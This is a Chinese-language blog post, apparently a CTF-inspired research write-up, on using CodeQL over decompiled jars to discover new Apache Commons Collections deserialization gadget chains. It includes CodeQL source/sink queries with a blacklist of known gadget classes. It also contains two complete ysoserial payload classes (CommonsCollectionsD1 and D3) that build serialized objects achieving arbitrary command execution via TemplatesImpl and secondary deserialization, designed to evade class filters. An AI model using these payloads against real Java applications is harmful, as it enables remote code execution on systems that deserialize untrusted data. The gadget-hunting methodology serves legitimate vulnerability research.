前言 写这篇文章主要有两个动机:
前段时间打了个MRCTF,里面有个easyjava题,场景是过滤了常规CC链中的大部分类,然后需要绕过。但是由于过滤补全,很简单就找到了一个FactoryTransformer
配合CC3+CC5即可打高版本jdk,但是如果把在CommonsColletions包中所有和常规CC链有关的类都过滤掉,那就需要新找一条链来bypass了
看了@yxxx师傅的这篇文章 ,以及其产出的项目 ,可以在只有jar包的情况下,反编译出源码,然后无需完整的maven build(或者其他build),只需javac编译即可生成codeql数据库,也支持多个jar包一同构建database,十分适合仅有jar包的情况下找Gadgets的场景(在CTF题里有很多)
结合上面两个契机,有了此文。
从单个jar创建database 具体方法可以参考上面提到的项目,这里贴一下命令
1 2 3 4 5 6 7 8 # 解压jar x commons-collections-3.2.1.jar # 反编译,要具体到源码的目录下 python class2java.py commons-collections-3.2.1/org # 生成数据库,第二个参数srcroot可以指定多几层的上级目录都没关系 python run.py cc-test commons-collections-3.2.1
CHA QL查询 - 错误版 首先简单分析一下CC1-7链子的特点:
Source:
compare:2、4
toString:5
hashCode:6
equals:7
Sink:
反射invoke:1、2、5、6、7
任意单参构造方法TrAXFilter#TrAXFilter(Templates) -> TemplateImpl#newTransformer:3、4、3+5
除了上面的Sink点之外,还可以有:
命令注入
二次反序列化readObject
jndi注入
…(还有很多,比如模板注入、jdbc attack、ssrf、xxe之类的,但是鉴于只分析CC包且需要完成任意代码执行,就不列举其他的了)
根据以上,我们可以编写出表示Source和Sink的ql代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import javaimport semmle.code.java.dataflow.TaintTrackingclass SerializableMethod extends Method { SerializableMethod() { this .getDeclaringType().getASupertype*() instanceof TypeSerializable } } class Compare extends SerializableMethod { Compare() { this .hasName("compare" ) } } class HashCode extends SerializableMethod { HashCode() { this .hasName("hashCode" ) } } class Equals extends SerializableMethod { Equals() { this .hasName("equals" ) } } class ToString extends SerializableMethod { ToString() { this .hasName("toString" ) } } class Source extends SerializableMethod { Source() { exists(Equals n1, Compare n2, HashCode n3, ToString n4| this = n1 or this = n2 or this = n3 or this = n4 ) } } class Invoke extends Callable { Invoke() { this .hasName("invoke" ) and this .getDeclaringType().hasName("Method" ) } } class NewInstance extends Method { NewInstance() { exists(RefType type | this .hasName("newInstance" ) and this .getDeclaringType*().getErasure() = type and (type.hasName("Constructor" ) or type.hasName("Class" )) ) } } class Sink extends SerializableMethod { Sink() { exists(NewInstance n1, Invoke n2, ReadObjectMethod n3, ExecCallable n4| this .getACallee() = n1 or this .getACallee() = n2 or this .getACallee() = n3 or this .getACallee() = n4 ) } }
需要过滤了原先CC链中的类,所以我们再编写一个Sanitizer来实现过滤即可,这个Sanitizer不仅可以作为黑名单使用,还可以清洗掉本身就不可能成立的一些类,比如在后续查询的过程中发现PrototypeCloneFactory
这个类只能反射调用任意public clone方法,没啥价值,因此也添加到了里面。前面的几个类就是常规CC链中在jar包出现的所有类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 class Sanitizer extends SerializableMethod { Sanitizer() { exists(RefType cls | this .getDeclaringType() = cls and cls.hasName([ "LazyMap" , "ChainedTransformer" , "ConstantTransformer" , "InvokerTransformer" , "TransformingComparator" , "InstantiateTransformer" , "TiedMapEntry" , "AbstractMap" , "AbstractMapDecorator" , "PrototypeCloneFactory" , ]) ) } }
最后使用polyCalls
编写CHA 调用图查询即可,同时注意这是一个path query,并且定义的edges连接谓词中,必须保证所有的a -> b调用都满足a和b都不是Sanitizer中限制的类型,所以需要forex/forall,而不是exists
1 2 3 4 5 6 7 query predicate edges (SerializableMethod a, SerializableMethod b) { a.polyCalls(b) and forex(Sanitizer st| not a = st and not b = st ) }
完整的query如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 import javaimport semmle.code.java.dataflow.TaintTrackingclass SerializableMethod extends Method { SerializableMethod() { this .getDeclaringType().getASupertype*() instanceof TypeSerializable } } class Compare extends SerializableMethod { Compare() { this .hasName("compare" ) } } class HashCode extends SerializableMethod { HashCode() { this .hasName("hashCode" ) } } class Equals extends SerializableMethod { Equals() { this .hasName("equals" ) } } class ToString extends SerializableMethod { ToString() { this .hasName("toString" ) } } class Source extends SerializableMethod { Source() { exists(Equals n1, Compare n2, HashCode n3, ToString n4| this = n1 or this = n2 or this = n3 or this = n4 ) } } class Invoke extends Callable { Invoke() { this .hasName("invoke" ) and this .getDeclaringType().hasName("Method" ) } } class NewInstance extends Method { NewInstance() { exists(RefType type | this .hasName("newInstance" ) and this .getDeclaringType*().getErasure() = type and (type.hasName("Constructor" ) or type.hasName("Class" )) ) } } class Sink extends SerializableMethod { Sink() { exists(NewInstance n1, Invoke n2, ReadObjectMethod n3, ExecCallable n4| this .getACallee() = n1 or this .getACallee() = n2 or this .getACallee() = n3 or this .getACallee() = n4 ) } } class Sanitizer extends SerializableMethod { Sanitizer() { exists(RefType cls | this .getDeclaringType() = cls and cls.hasName([ "LazyMap" , "ChainedTransformer" , "ConstantTransformer" , "InvokerTransformer" , "TransformingComparator" , "InstantiateTransformer" , "TiedMapEntry" , "AbstractMap" , "AbstractMapDecorator" , "PrototypeCloneFactory" , ]) ) } } query predicate edges (SerializableMethod a, SerializableMethod b) { a.polyCalls(b) and forex(Sanitizer st| not a = st and not b = st ) } from Source source, Sink sink where edges*(source, sink) select sink, source, sink, "Sink is reached from $@." , source, "here"
但当我运行query时,却查不出结果。为什么呢?根据codeql文档以及笔者的使用经验,会从以下方面进行排查:
检查source(使用quick evaluation功能)
检查sink
检查连接调用谓词(这里是edge)
检查所有的exists表达式
根据以上排查,在查询sink时,发现没有结果。由于Sink类使用了exists表达式,所以可能会出现一种情况:exists表达式定义变量时,定义了一个在database中不存在的变量,导致exists出错。使用以下谓词查询是否存在ExecCallable
时,发现了问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 class Sink extends SerializableMethod { Sink() { exists(NewInstance n1| this .getACallee() = n1 ) } } class Sink extends SerializableMethod { Sink() { exists(NewInstance n1, ExecCallable n4| this .getACallee() = n1 ) } }
所以可以断定是ExecCallable
这个类在由CommonsColletions包构建的database中不存在定义,也就是说没有任何方法调用了ExecCallable(这是内置类,其实就是命令执行方法的一个类),所以extractor在处理时没有生成对应的trap放入database中。
这样就会导致前面说的exists在定义变量的部分就出错,但是并不是编译出错(不是我们的codeql语句写错了),有点类似于运行时错误,所以我们再编写ql时是发现不出来的。这里感觉是codeql需要改善的一个feature点吧。
马后炮的话,正确的写法应该是这样,但这样
1 2 3 4 5 6 7 8 9 10 11 12 13 class Sink extends SerializableMethod { Sink() { exists(NewInstance n1, Invoke n2, ReadObjectMethod n3| this .getACallee() = n1 or this .getACallee() = n2 or this .getACallee() = n3 ) or exists(ExecCallable n1| this .getACallee() = n1 ) } }
CHA QL查询 - 正确版 上面的正确写法其实是已经发现错误后的改版了,但是我们不可能每次都要排错来改query语句,这样是很麻烦的而且排错成本很大很耗时,所以有了上面的错误经验,我们应该像编写正常的代码一样一开始就要考虑RuntimeException进去,由于是exists出现的问题,那么我们只需避免使用即可,Sink谓词所表示的集合,可以用abstract class来替代,这样就不会出现错误了。
同理,Source也一样,这样就可以改成风格一致的ql查询了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 import javaimport semmle.code.java.dataflow.TaintTrackingclass SerializableMethod extends Method { SerializableMethod() { this .getDeclaringType().getASupertype*() instanceof TypeSerializable } } abstract class Source extends SerializableMethod {}abstract class Sink extends SerializableMethod {}class Compare extends Source { Compare() { this .hasName("compare" ) } } class HashCode extends Source { HashCode() { this .hasName("hashCode" ) } } class Equals extends Source { Equals() { this .hasName("equals" ) } } class ToString extends Source { ToString() { this .hasName("toString" ) } } class Invoke extends Sink { Invoke() { this .getACallee().hasName("invoke" ) } } class NewInstance extends Sink { NewInstance() { exists(RefType type, Method m| this .getACallee() = m and m.hasName("newInstance" ) and m.getDeclaringType*().getErasure() = type and (type.hasName("Constructor" ) or type.hasName("Class" )) ) } } class ReadObject extends Sink { ReadObject() { this .getACallee() instanceof ReadObjectMethod and this .getName() != "readObject" } } class CommandInject extends Sink { CommandInject() { this .getACallee() instanceof ExecCallable } } class Sanitizer extends SerializableMethod { Sanitizer() { exists(RefType cls | this .getDeclaringType() = cls and cls.hasName([ "LazyMap" , "ChainedTransformer" , "ConstantTransformer" , "InvokerTransformer" , "TransformingComparator" , "InstantiateTransformer" , "TiedMapEntry" , "AbstractMap" , "AbstractMapDecorator" , ]) ) } } query predicate edges (SerializableMethod a, SerializableMethod b) { a.polyCalls(b) and forex(Sanitizer st| not a = st and not b = st ) } from Source source, Sink sink where edges*(source, sink) select sink, source, sink, "Sink is reached from $@." , source, "here"
最后可以查出36条结果,根据分布,大概可以知道存在3种sink点(对于下面的三条CCD链),每种有12条链子
新的CC链 - CCD 根据上面的查询结果,人工简单审查了一下,在三种sink点中分别找出了1条可行且简便(主要是好写)的链子
CCD1 - 高版本TemplatesImpl
CCD2 - 任意public clone方法(鸡肋)
CCD3 - 二次反序列化
CCD1 - 高版本TemplatesImpl 查询结果:
编写payload,由于DefaultedMap
在CC3.2.1才有,所以在CC3.1版本没有依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 package ysoserial.payloads;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import org.apache.commons.collections.FastHashMap;import org.apache.commons.collections.FastTreeMap;import org.apache.commons.collections.functors.FactoryTransformer;import org.apache.commons.collections.functors.InstantiateFactory;import org.apache.commons.collections.map.DefaultedMap;import org.apache.commons.collections.map.Flat3Map;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.JavaVersion;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;import javax.xml.transform.Templates;import java.lang.reflect.Field;import java.util.HashMap;@SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"commons-collections:commons-collections:3.2.1"}) @Authors({Authors.Diggid}) public class CommonsCollectionsD1 extends PayloadRunner implements ObjectPayload <HashMap > { public HashMap getObject (final String command) throws Exception { Object template = Gadgets.createTemplatesImpl(command); InstantiateFactory factory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{template}); FactoryTransformer transformer = new FactoryTransformer(factory); HashMap tmp = new HashMap(); tmp.put("zZ" , "diggid" ); DefaultedMap map = (DefaultedMap) DefaultedMap.decorate(tmp, transformer); FastHashMap fasthm = new FastHashMap(); fasthm.put("yy" , "diggid" ); HashMap obj = new HashMap(); obj.put("b" , "b" ); obj.put(fasthm, "1" ); Object[] table = (Object[]) Reflections.getFieldValue(obj, "table" ); Object node = table[2 ]; Field keyField; try { keyField = node.getClass().getDeclaredField("key" ); }catch (Exception e){ keyField = Class.forName("java.util.MapEntry" ).getDeclaredField("key" ); } Reflections.setAccessible(keyField); if (keyField.get(node) instanceof String){ keyField.set(node, map); } return obj; } public static void main (final String[] args) throws Exception { PayloadRunner.run(CommonsCollectionsD1.class, args); } }
CCD2 - 任意public clone方法(鸡肋) 查询结果:
这个就不写了,只能调public clone,没啥用。
CCD3 - 二次反序列化 查询结果:
编写payload,但这个二次反序列化也有些鸡肋,因为二次反序列化的对象是成员变量的序列化结果,和一般的那些使用字节码数组或者base64存储序列化结果的二次反序列化不太一样,所以这里还是会被类似JEP290的过滤器过滤。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package ysoserial.payloads;import org.apache.commons.collections.Factory;import org.apache.commons.collections.FastHashMap;import org.apache.commons.collections.functors.FactoryTransformer;import org.apache.commons.collections.map.DefaultedMap;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.util.JavaVersion;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;import java.io.Serializable;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;@SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({Authors.Diggid}) public class CommonsCollectionsD3 extends PayloadRunner implements ObjectPayload <HashMap > { public HashMap getObject (final String command) throws Exception { Object object = new CommonsCollections35().getObject(command); Class<?> factoryCls = Class.forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory" ); Constructor<?> cons = factoryCls.getDeclaredConstructor(Serializable.class); cons.setAccessible(true ); Factory factory = (Factory) cons.newInstance(object); FactoryTransformer transformer = new FactoryTransformer(factory); HashMap tmp = new HashMap(); tmp.put("zZ" , "diggid" ); DefaultedMap map = (DefaultedMap) DefaultedMap.decorate(tmp, transformer); FastHashMap fasthm = new FastHashMap(); fasthm.put("yy" , "diggid" ); HashMap obj = new HashMap(); obj.put("b" , "b" ); obj.put(fasthm, "1" ); Object[] table = (Object[]) Reflections.getFieldValue(obj, "table" ); Object node = table[2 ]; Field keyField; try { keyField = node.getClass().getDeclaredField("key" ); }catch (Exception e){ keyField = Class.forName("java.util.MapEntry" ).getDeclaredField("key" ); } Reflections.setAccessible(keyField); if (keyField.get(node) instanceof String){ keyField.set(node, map); } return obj; } public static void main (final String[] args) throws Exception { PayloadRunner.run(CommonsCollectionsD3.class, args); } }
总结 这篇文章主要解决了以下问题
生成多个jar包的codeql database,在给定lib(lib下都是jar)的场景下挖Gadgets很方便
codeql查询不出结果的排错
3条全新CC链,其中的CCD1最有用,地位类似于CC3+CC5的高版本TemplatesImpl链